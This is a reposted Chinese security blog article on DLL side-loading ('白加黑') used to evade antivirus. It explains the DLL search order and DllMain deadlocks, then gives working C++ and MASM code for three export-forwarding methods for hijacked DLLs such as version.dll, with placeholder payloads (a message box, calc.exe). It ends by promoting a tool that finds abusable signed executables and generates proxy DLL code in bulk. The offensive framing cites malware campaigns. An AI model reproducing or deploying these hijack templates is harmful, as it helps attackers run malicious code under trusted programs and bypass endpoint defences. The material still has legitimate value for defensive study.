文章总结: 本文详细分析了白加黑攻击中DLL侧加载技术原理,重点介绍了静态加载与动态加载的区别及利用方式。针对DLL劫持中的DLLmain死锁问题,文章提出了三种函数转发方案:链式转发通过#pragmacomment实现简单转发但需上传原DLL;手动转发可指定系统DLL但需处理函数参数;汇编转发通过跳转指令避免堆栈操作。文档还提供了具体的代码示例和实现注意事项。 综合评分: 78 文章分类: 恶意软件,渗透测试,红队,免杀,漏洞分析
掘影—白加黑自动挖掘工具&DLL侧加载
原创
脸红ฅฅ的思春期 脸红ฅฅ的思春期
Heri76安全
2026年4月10日 18:04 广东
在小说阅读器读本章
去阅读
前言
在目前的免杀对抗中,包括这几年的银狐热门手法,白加黑都是一个绕不过的技术点。很多人喜欢称为DLL劫持或者DLL侧加载,但无论怎么叫,其原理都是一样的,通过一个白的exe去加载黑的DLL。
加载方式
静态加载
静态加载DLL(也称为隐式加载或预加载),指的是程序一启动,操作系统就会把它依赖的所有静态加载的DLL一起加载到内存中。是一种“硬依赖”或“强绑定”,在编译链接阶段就已经确定, 简单直接。要么所有东西都准备好,程序正常运行;要么任何一个DLL缺失,程序根本无法启动,并弹出一个类似“找不到xxx.dll”的错误。
从一个exe的导入表便可以看到静态加载了哪些DLL,值得一提的是,DLL里面的导出函数不一定被使用。
动态加载
动态加载(也称为显式加载或运行时加载),这是指程序在运行时根据需要动态地加载和卸载动态链接库。通常使用LoadLibrary和GetProcAddress函数来动态加载DLL。
这里简单说一下动态加载DLL的顺序。
1、检查DLL是否已经被加载进内存
2、检查DLL是否存在于Known DLLs中
3、检查应用当前目录是否存在DLL
4、检查System32目录下面是否存在DLL
5、检查当前执行目录下是否存在DLL
6、检测%PATH%环境变量 下是否存在DLL
就目前的白加黑中绝大多数都是利用第三步,也就是检查应用当前目录是否存在DLL,来进行DLL劫持。
DLLmain死锁
当动态库被加载时,会执行动态库中的dllmain函数。但当程序进入dllmain函数时,会被施加一个锁的状态,该锁的存在就是微软为了限制dllmain的行为做了一些安全限制。
死锁在DLL劫持中也是老生常谈的问题了,这里不过多赘述,感兴趣的可以参考下面的文章。
https://elliotonsecurity.com/perfect-dll-hijacking/#about-dllmain
函数转发
链式转发
最常见的就是链式转发,通过 #pragma comment 转发指定导出函数到原本的DLL中。
#pragma comment(linker, "/EXPORT:ExportedFunctionName=OriginalDllName.OriginalFunctionName")
// MyHijackedDll.cpp#include <windows.h>
// --- 导出函数转发 ---// 将对 HelloWorld 的调用转发到 version_real.dll 中的 HelloWorld 函数#pragma comment(linker, "/EXPORT:HelloWorld=version_real.HelloWorld")
// 将对 Add 的调用转发到 version_real.dll 中的 Add 函数#pragma comment(linker, "/EXPORT:Add=version_real.Add")
// 你也可以转发通过序号导出的函数// #pragma comment(linker, "/EXPORT:SomeFunc=version_real.#123") // 假设SomeFunc按序号123导出
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // 在这里执行你的恶意(建议创建一个新线程去执行,防止死锁) MessageBox(NULL, L"DLL Hijacked!", L"Pwned", MB_OK); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
简单粗暴,但是缺点也很明显,就是有多少个导出函数,就要手写多少个转发链接。并且不能指定转发到System目录下面的系统DLL,这就导致了一个问题,当你劫持系统的DLL时,你除了上传黑DLL之外还得把原版的系统DLL上传到同一目录,这样才能转发成功。
手动转发
手动转发可以避免上述所提到的情况,可以指定加载System目录下面的系统DLL。原理也非常简单,通过劫持导出函数来实现即可。当白程序调用 MainEntry 时,它实际上调用的是我们写的恶意代码,等我们干完坏事,再由我们手动去加载 xxx.dll 里的真实代码。
#include <windows.h>// 定义一个函数指针类型,用于匹配原版 MainEntry 的样子// (假设它没有参数,如果不匹配可能会崩溃,但不影响测试弹计算器)typedef void (*OriginalMainEntryType)();
// 我们自己导出一个同名函数,拦截白程序的调用!extern "C" __declspec(dllexport) void MainEntry() {
// 1. 我们的恶意载荷(因为这是主线程调用的,不用担心竞态条件,必定执行完毕) WinExec("calc.exe", SW_SHOW);
// 2. 载荷执行完后,为了让白程序正常工作,我们需要动态调用真正的 DLL HMODULE hRealDll = LoadLibraryA("xxx.dll"); if (hRealDll != NULL) { OriginalMainEntryType RealMainEntry = (OriginalMainEntryType)GetProcAddress(hRealDll, "MainEntry"); if (RealMainEntry != NULL) { // 3. 把控制权交还给真实的业务逻辑 RealMainEntry(); } }}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // 在高级手法中,我们不在 DllMain 里开线程干活了,太容易出问题 // 只是取消线程通知优化一下 DisableThreadLibraryCalls(hModule); break; } return TRUE;}
这样子的好处是可以加载指定的DLL,无需上传额外的DLL到同一目录。缺点也很明显,你要保证劫持的导出函数在白exe里面被调用才行,而且要知道原本的DLL导出函数是否传参,否则会加载失败。
通过汇编转发
既然手动转发要知道导出函数是否传参,那么我们劫持后直接跳走,不碰堆栈。
实现如下,原理较为简单,没啥技术含量。
//dllmain.cpp
DWORD WINAPI Load() {
HMODULE hRealDll = LoadLibraryExW(L"version.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
//获取导出函数地址,并且存档数组中 RealFuncAddresses[0] = GetProcAddress(hRealDll, "GetFileVersionInfoA"); RealFuncAddresses[1] = GetProcAddress(hRealDll, "GetFileVersionInfoByHandle"); RealFuncAddresses[2] = GetProcAddress(hRealDll, "GetFileVersionInfoExA"); RealFuncAddresses[3] = GetProcAddress(hRealDll, "GetFileVersionInfoExW"); RealFuncAddresses[4] = GetProcAddress(hRealDll, "GetFileVersionInfoSizeA"); RealFuncAddresses[5] = GetProcAddress(hRealDll, "GetFileVersionInfoSizeExA"); RealFuncAddresses[6] = GetProcAddress(hRealDll, "GetFileVersionInfoSizeExW"); RealFuncAddresses[7] = GetProcAddress(hRealDll, "GetFileVersionInfoSizeW"); RealFuncAddresses[8] = GetProcAddress(hRealDll, "GetFileVersionInfoW"); RealFuncAddresses[9] = GetProcAddress(hRealDll, "VerFindFileA"); RealFuncAddresses[10] = GetProcAddress(hRealDll, "VerFindFileW"); RealFuncAddresses[11] = GetProcAddress(hRealDll, "VerInstallFileA"); RealFuncAddresses[12] = GetProcAddress(hRealDll, "VerInstallFileW"); RealFuncAddresses[13] = GetProcAddress(hRealDll, "VerLanguageNameA"); RealFuncAddresses[14] = GetProcAddress(hRealDll, "VerLanguageNameW"); RealFuncAddresses[15] = GetProcAddress(hRealDll, "VerQueryValueA"); RealFuncAddresses[16] = GetProcAddress(hRealDll, "VerQueryValueW"); return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); Load(); //创建新线程去执行恶意代码 } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
//proxy.asm//直接通过汇编跳转到对应的导出函数地址,实现转发.code
EXTERN RealFuncAddresses:QWORD
GetFileVersionInfoA PROC jmp qword ptr [RealFuncAddresses + 0]GetFileVersionInfoA ENDP
GetFileVersionInfoByHandle PROC jmp qword ptr [RealFuncAddresses + 8] ; 1 * 8GetFileVersionInfoByHandle ENDP
GetFileVersionInfoExA PROC jmp qword ptr [RealFuncAddresses + 16] ; 2 * 8GetFileVersionInfoExA ENDP
GetFileVersionInfoExW PROC jmp qword ptr [RealFuncAddresses + 24] ; 3 * 8GetFileVersionInfoExW ENDP
GetFileVersionInfoSizeA PROC jmp qword ptr [RealFuncAddresses + 32] ; 4 * 8GetFileVersionInfoSizeA ENDP
GetFileVersionInfoSizeExA PROC jmp qword ptr [RealFuncAddresses + 40] ; 5 * 8GetFileVersionInfoSizeExA ENDP
GetFileVersionInfoSizeExW PROC jmp qword ptr [RealFuncAddresses + 48] ; 6 * 8GetFileVersionInfoSizeExW ENDP
GetFileVersionInfoSizeW PROC jmp qword ptr [RealFuncAddresses + 56] ; 7 * 8GetFileVersionInfoSizeW ENDP
GetFileVersionInfoW PROC jmp qword ptr [RealFuncAddresses + 64] ; 8 * 8GetFileVersionInfoW ENDP
VerFindFileA PROC jmp qword ptr [RealFuncAddresses + 72] ; 9 * 8VerFindFileA ENDP
VerFindFileW PROC jmp qword ptr [RealFuncAddresses + 80] ; 10 * 8VerFindFileW ENDP
VerInstallFileA PROC jmp qword ptr [RealFuncAddresses + 88] ; 11 * 8VerInstallFileA ENDP
VerInstallFileW PROC jmp qword ptr [RealFuncAddresses + 96] ; 12 * 8VerInstallFileW ENDP
VerLanguageNameA PROC jmp qword ptr [RealFuncAddresses + 104] ; 13 * 8VerLanguageNameA ENDP
VerLanguageNameW PROC jmp qword ptr [RealFuncAddresses + 112] ; 14 * 8VerLanguageNameW ENDP
VerQueryValueA PROC jmp qword ptr [RealFuncAddresses + 120] ; 15 * 8VerQueryValueA ENDP
VerQueryValueW PROC jmp qword ptr [RealFuncAddresses + 128] ; 16 * 8VerQueryValueW ENDP
END
//Source.def//导出函数LIBRARY "version"EXPORTS GetFileVersionInfoA @1 GetFileVersionInfoByHandle @2 GetFileVersionInfoExA @3 GetFileVersionInfoExW @4 GetFileVersionInfoSizeA @5 GetFileVersionInfoSizeExA @6 GetFileVersionInfoSizeExW @7 GetFileVersionInfoSizeW @8 GetFileVersionInfoW @9 VerFindFileA @10 VerFindFileW @11 VerInstallFileA @12 VerInstallFileW @13 VerLanguageNameA @14 VerLanguageNameW @15 VerQueryValueA @16 VerQueryValueW @17
竞态条件
简单来说就是我们创建一个新的线程去执行恶意代码,但是主程序退出太快了,导致还没执行到恶意线程整个程序就结束了。
下面的参考文章有提到这一问题,并且给出了对应的环节措施
https://elliotonsecurity.com/perfect-dll-hijacking/
其中里面着重提到竞态条件。
自动挖掘工具
刚好有空,就顺手写了一个DLL侧加载的挖掘工具,主要是扫描指定路径下的哪些白exe可以用来做白加黑,当然目前只支持扫描静态加载的DLL。
用法非常简单,首先选定扫描路径,这里我用扫描钉钉目录。最大业务DLL数指的是该白exe最多依赖多少个自身的业务DLL,这里我选0个,代表扫描出来的exe不能有加载业务DLL的行为,全都加载系统自带的DLL。
扫描完可以手动保存为TXT。
根据扫描结果挑选白exe以及要劫持的DLL,这里我随便选了kashost.exe和version.dll。
来到代码生成页面,直接指定要劫持的DLL和输出目录即可。
这样就会生成三个文件,分别是dllmain.cpp,proxy.asm,exports.def。dllmain.cpp是DLL的主文件,里面负责指定恶意代码,proxy.asm负责通过汇编实现转发,exports.def负责将函数导出。
直接把三个文件都添加到项目即可。
这样我们就省去了寻找DLL和写转发函数的工作,可以批量高效的制作白加黑。
总结
DLL侧载并不是新鲜的技术,现在也在各种攻防演练、apt等攻击场景中多有涉猎。本篇文章仅仅总结了一下DLL侧加载的使用,以及通过工具自动挖掘和生成。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
工具链接:
zskxc666/DLL-Side-Loading-Exploitation: 掘影—白加黑自动挖掘工具
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Heri76安全 脸红ฅฅ的思春期 脸红ฅฅ的思春期《掘影—白加黑自动挖掘工具&DLL侧加载》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论